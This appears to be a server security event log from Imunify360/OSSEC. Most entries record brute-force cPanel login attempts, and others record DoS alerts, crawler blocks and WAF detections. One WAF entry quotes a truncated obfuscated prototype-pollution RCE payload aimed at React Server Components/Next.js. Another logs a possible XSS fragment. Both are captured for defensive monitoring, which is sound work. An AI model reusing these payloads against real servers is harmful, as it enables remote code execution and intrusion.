[2026-06-26 01:54:05 +0000] info [cpaneld] 45.13.235.67 - au "GET /login/?login_only=1&user=au&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user au (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.98.63.44
country_id: 6252001
description:
[2026-06-26 01:53:18 +0000] info [cpaneld] 184.98.63.44 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.124.184
country_id: 6252001
description:
[2026-06-26 01:53:22 +0000] info [cpaneld] 172.59.124.184 - delxia "GET /login/?login_only=1&user=delxia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delxia (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.164.149.12
country_id: 6252001
description:
[2026-06-26 01:53:33 +0000] info [cpaneld] 67.164.149.12 - delx "GET /login/?login_only=1&user=delx&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user delx (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.25.123.213
country_id: 6252001
description:
[2026-06-26 01:53:41 +0000] info [cpaneld] 65.25.123.213 - de "GET /login/?login_only=1&user=de&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user de (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.68.138.48
country_id: 6252001
description:
[2026-06-26 01:54:20 +0000] info [cpaneld] 72.68.138.48 - socialinfos "GET /login/?login_only=1&user=socialinfos&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user socialinfos (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.44.3.188
country_id: 6252001
description:
[2026-06-26 01:54:26 +0000] info [cpaneld] 174.44.3.188 - socialin "GET /login/?login_only=1&user=socialin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user socialin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.19.62.154
country_id: 6252001
description:
[2026-06-26 01:54:46 +0000] info [cpaneld] 100.19.62.154 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.28.245.250
country_id: 6252001
description:
[2026-06-26 01:56:02 +0000] info [cpaneld] 173.28.245.250 - togof "GET /login/?login_only=1&user=togof&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togof (has_cpuser_file failed)


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: inger.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"reason\":-1,\"ns_a0684eaf\":\"f8b7\",\"$318a2749\":0.0,\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"status\":\"resolved_model\",\"_response\":{\"_prefix\":\"var zerlu=[].slice.call(arguments,1)[0];var sdpfj=zerlu;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.48.66.101
country_id: 6252001
description:
[2026-06-26 01:55:49 +0000] info [cpaneld] 68.48.66.101 - togofarm "GET /login/?login_only=1&user=togofarm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofarm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.161.114.92
country_id: 6252001
description:
[2026-06-26 01:56:09 +0000] info [cpaneld] 47.161.114.92 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.62.34.239
country_id: 1814991
description:
Jun 26 01:56:46 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.62.34.239 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.115.198.243
country_id: 1168579
description:
[2026-06-26 01:57:41 +0000] info [cpaneld] 103.115.198.243 - it "GET /login/?login_only=1&user=it&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user it (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.26.130.129
country_id: 6252001
description:
[2026-06-26 01:57:14 +0000] info [cpaneld] 76.26.130.129 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.129.16
country_id: 6252001
description:
[2026-06-26 01:57:33 +0000] info [cpaneld] 172.58.129.16 - cog "GET /login/?login_only=1&user=cog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.174.200.187
country_id: 3469034
description:
[2026-06-26 01:57:34 +0000] info [cpaneld] 179.174.200.187 - its "GET /login/?login_only=1&user=its&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user its (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.52.218.19
country_id: 3686110
description:
[2026-06-26 01:58:27 +0000] info [cpaneld] 181.52.218.19 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.142.34.99
country_id: 3996063
description:
[2026-06-26 01:58:30 +0000] info [cpaneld] 189.142.34.99 - confortis "GET /login/?login_only=1&user=confortis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user confortis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.73.56.29
country_id: 6252001
description:
[2026-06-26 01:58:29 +0000] info [cpaneld] 173.73.56.29 - cecaptg "GET /login/?login_only=1&user=cecaptg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cecaptg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.69.153.181
country_id: 290291
description:
[2026-06-26 01:58:43 +0000] info [cpaneld] 77.69.153.181 - confor "GET /login/?login_only=1&user=confor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user confor (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.64.165.58
country_id: 2017370
description:
[2026-06-26 01:58:40 +0000] info [cpaneld] 188.64.165.58 - confort "GET /login/?login_only=1&user=confort&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user confort (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.69.55.112
country_id: 3686110
description:
[2026-06-26 01:58:49 +0000] info [cpaneld] 190.69.55.112 - conf "GET /login/?login_only=1&user=conf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.113.140.205
country_id: 2921044
description:
[2026-06-26 01:58:51 +0000] info [cpaneld] 95.113.140.205 - con "GET /login/?login_only=1&user=con&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user con (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.92.250.139
country_id: 719819
description:
[2026-06-26 01:58:54 +0000] info [cpaneld] 78.92.250.139 - co "GET /login/?login_only=1&user=co&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user co (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.142.150.181
country_id: 1733045
description:
[2026-06-26 01:58:33 +0000] info [cpaneld] 161.142.150.181 - confortistg "GET /login/?login_only=1&user=confortistg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user confortistg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.69.171.27
country_id: 290291
description:
[2026-06-26 01:58:46 +0000] info [cpaneld] 77.69.171.27 - confo "GET /login/?login_only=1&user=confo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user confo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 199.192.121.137
country_id: 6252001
description:
[2026-06-26 01:59:59 +0000] info [cpaneld] 199.192.121.137 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.17.32.37
country_id: 6252001
description:
[2026-06-26 01:59:53 +0000] info [cpaneld] 173.17.32.37 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 141.164.91.175
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:141.164.91.175||TA:141.164.91.175||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.104.58.252
country_id: 6252001
description:
[2026-06-26 01:59:56 +0000] info [cpaneld] 208.104.58.252 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 195.172.211.66
country_id: 1861060
domain: togofarm.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:195.172.211.66||TA:195.172.211.66||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.166.105.14
country_id: 6252001
description:
[2026-06-26 02:00:35 +0000] info [cpaneld] 73.166.105.14 - alertetg "GET /login/?login_only=1&user=alertetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alertetg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.126.113.30
country_id: 6252001
description:
[2026-06-26 02:00:38 +0000] info [cpaneld] 208.126.113.30 - alert "GET /login/?login_only=1&user=alert&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alert (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 35.252.58.122
country_id: 102358
description:
Denial of Service (DoS) attack was discovered from 35.252.58.122: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.145.64.94
country_id: 6252001
description:
[2026-06-26 02:00:28 +0000] info [cpaneld] 216.145.64.94 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 155.212.213.91
country_id: 2017370
domain: pnls.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:155.212.213.91||TA:155.212.213.91||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.38.236.75
country_id: 6252001
description:
[2026-06-26 02:02:26 +0000] info [cpaneld] 208.38.236.75 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.27.33.32
country_id: 6252001
description:
[2026-06-26 02:02:13 +0000] info [cpaneld] 174.27.33.32 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.150.235.132
country_id: 6252001
description:
[2026-06-26 02:02:30 +0000] info [cpaneld] 35.150.235.132 - inger "GET /login/?login_only=1&user=inger&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user inger (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.12.12.157
country_id: 6252001
description:
[2026-06-26 02:02:36 +0000] info [cpaneld] 73.12.12.157 - ingertg "GET /login/?login_only=1&user=ingertg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ingertg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.154.197.230
country_id: 6252001
description:
[2026-06-26 02:02:41 +0000] info [cpaneld] 47.154.197.230 - ing "GET /login/?login_only=1&user=ing&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ing (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.2.204.156
country_id: 6252001
description:
[2026-06-26 02:02:18 +0000] info [cpaneld] 73.2.204.156 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.205.86.71
country_id: 6252001
description:
[2026-06-26 02:02:22 +0000] info [cpaneld] 47.205.86.71 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 44.203.39.22
country_id: 6252001
description:
[2026-06-26 02:03:42 +0000] info [cpaneld] 44.203.39.22 - czqxxxnu "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.54.0.228
country_id: 3686110
description:
[2026-06-26 02:05:00 +0000] info [cpaneld] 181.54.0.228 - auditeccandcocom "GET /login/?login_only=1&user=auditeccandcocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccandcocom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.41.238.163
country_id: 2017370
description:
[2026-06-26 02:05:06 +0000] info [cpaneld] 94.41.238.163 - auditec "GET /login/?login_only=1&user=auditec&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditec (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 101.43.172.58
country_id: 1814991
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/le-college-militaire-eyadema-de-tchitchao-honore-le-pere-de-la-nation/<script async src=||RSV:8.20||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.48.184.78
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.48.184.78: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.198.46.137
country_id: 6252001
description:
[2026-06-26 02:05:20 +0000] info [cpaneld] 68.198.46.137 - audi "GET /login/?login_only=1&user=audi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user audi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 118.179.100.220
country_id: 1210997
description:
[2026-06-26 02:05:27 +0000] info [cpaneld] 118.179.100.220 - au "GET /login/?login_only=1&user=au&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user au (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.173.14.139
country_id: 3865483
description:
[2026-06-26 02:05:16 +0000] info [cpaneld] 190.173.14.139 - audit "GET /login/?login_only=1&user=audit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user audit (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 143.202.145.229
country_id: 3865483
description:
143.202.145.229 - - [26/Jun/2026:02:05:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816731&pdata=https%253A%252F%252Fcfpj.tg%252Fcnrw-92089letidm92xnl.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782439525 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/cnrw-92089letidm92xnl.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:143.202.145.229


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.120.44.8
country_id: 6252001
description:
[2026-06-26 02:06:05 +0000] info [cpaneld] 149.120.44.8 - lepopulistetogotg "GET /login/?login_only=1&user=lepopulistetogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopulistetogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.53.38.120
country_id: 3469034
description:
[2026-06-26 02:05:10 +0000] info [cpaneld] 177.53.38.120 - audite "GET /login/?login_only=1&user=audite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user audite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.121.0.230
country_id: 630336
description:
[2026-06-26 02:05:22 +0000] info [cpaneld] 178.121.0.230 - aud "GET /login/?login_only=1&user=aud&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aud (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.160.87.245
country_id: 6252001
description:
[2026-06-26 02:06:13 +0000] info [cpaneld] 73.160.87.245 - lepopu "GET /login/?login_only=1&user=lepopu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.54.60.58
country_id: 6252001
description:
[2026-06-26 02:06:17 +0000] info [cpaneld] 68.54.60.58 - lepop "GET /login/?login_only=1&user=lepop&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepop (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.180.108.54
country_id: 6252001
description:
[2026-06-26 02:06:29 +0000] info [cpaneld] 184.180.108.54 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.213.150.40
country_id: 6252001
description:
[2026-06-26 02:06:36 +0000] info [cpaneld] 76.213.150.40 - togoag "GET /login/?login_only=1&user=togoag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoag (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.73.22.235
country_id: 6252001
description:
[2026-06-26 02:06:33 +0000] info [cpaneld] 174.73.22.235 - togoagr "GET /login/?login_only=1&user=togoagr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoagr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.38.156.58
country_id: 6252001
description:
[2026-06-26 02:06:39 +0000] info [cpaneld] 68.38.156.58 - togoa "GET /login/?login_only=1&user=togoa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoa (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.138.206.104
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.138.206.104: 80 connections per 30 seconds to 443 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.165.187.213
country_id: 294640
description:
Denial of Service (DoS) attack was discovered from 34.165.187.213: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.189.108.142
country_id: 6252001
description:
[2026-06-26 02:09:50 +0000] info [cpaneld] 38.189.108.142 - cen "GET /login/?login_only=1&user=cen&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cen (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.29.47.150
country_id: 6252001
description:
[2026-06-26 02:09:48 +0000] info [cpaneld] 73.29.47.150 - cent "GET /login/?login_only=1&user=cent&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cent (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.16
country_id: 6252001
description:
205.169.39.16 - - [26/Jun/2026:02:10:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10198678&pdata=https%253A%252F%252F154.70.82.249&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782439844 HTTP/2.0" 302 0 154.70.82.249 "https://154.70.82.249/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.16


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.43.61.122
country_id: 6252001
description:
[2026-06-26 02:11:06 +0000] info [cpaneld] 68.43.61.122 - festic "GET /login/?login_only=1&user=festic&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user festic (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.191.3.80
country_id: 6252001
description:
[2026-06-26 02:11:10 +0000] info [cpaneld] 73.191.3.80 - festi "GET /login/?login_only=1&user=festi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user festi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.206.127.191
country_id: 6252001
description:
[2026-06-26 02:10:34 +0000] info [cpaneld] 73.206.127.191 - cec "GET /login/?login_only=1&user=cec&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cec (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.114.101
country_id: 6252001
description:
[2026-06-26 02:10:21 +0000] info [cpaneld] 172.59.114.101 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.222.35.142
country_id: 6252001
description:
[2026-06-26 02:10:27 +0000] info [cpaneld] 172.222.35.142 - cecaptg "GET /login/?login_only=1&user=cecaptg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cecaptg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.230.33.187
country_id: 6252001
description:
[2026-06-26 02:10:32 +0000] info [cpaneld] 104.230.33.187 - groupg "GET /login/?login_only=1&user=groupg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user groupg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.104.163.79
country_id: 6252001
description:
[2026-06-26 02:10:44 +0000] info [cpaneld] 70.104.163.79 - gro "GET /login/?login_only=1&user=gro&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user gro (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.36.111.254
country_id: 6252001
description:
[2026-06-26 02:10:35 +0000] info [cpaneld] 98.36.111.254 - group "GET /login/?login_only=1&user=group&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user group (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.173.152.199
country_id: 6252001
description:
[2026-06-26 02:10:45 +0000] info [cpaneld] 174.173.152.199 - monde "GET /login/?login_only=1&user=monde&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user monde (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.76.32.104
country_id: 6252001
description:
[2026-06-26 02:10:59 +0000] info [cpaneld] 73.76.32.104 - festics "GET /login/?login_only=1&user=festics&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user festics (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.104.209.57
country_id: 6252001
description:
[2026-06-26 02:10:21 +0000] info [cpaneld] 73.104.209.57 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.83.153.72
country_id: 6252001
description:
[2026-06-26 02:10:32 +0000] info [cpaneld] 50.83.153.72 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.85.95.171
country_id: 6252001
description:
[2026-06-26 02:10:55 +0000] info [cpaneld] 206.85.95.171 - mo "GET /login/?login_only=1&user=mo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.51.68.238
country_id: 6252001
description:
[2026-06-26 02:10:29 +0000] info [cpaneld] 136.51.68.238 - groupgc "GET /login/?login_only=1&user=groupgc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user groupgc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.157.94.43
country_id: 6252001
description:
[2026-06-26 02:12:10 +0000] info [cpaneld] 76.157.94.43 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.10.187.191
country_id: 6252001
description:
[2026-06-26 02:11:13 +0000] info [cpaneld] 68.10.187.191 - fest "GET /login/?login_only=1&user=fest&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fest (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.192.120.239
country_id: 6252001
description:
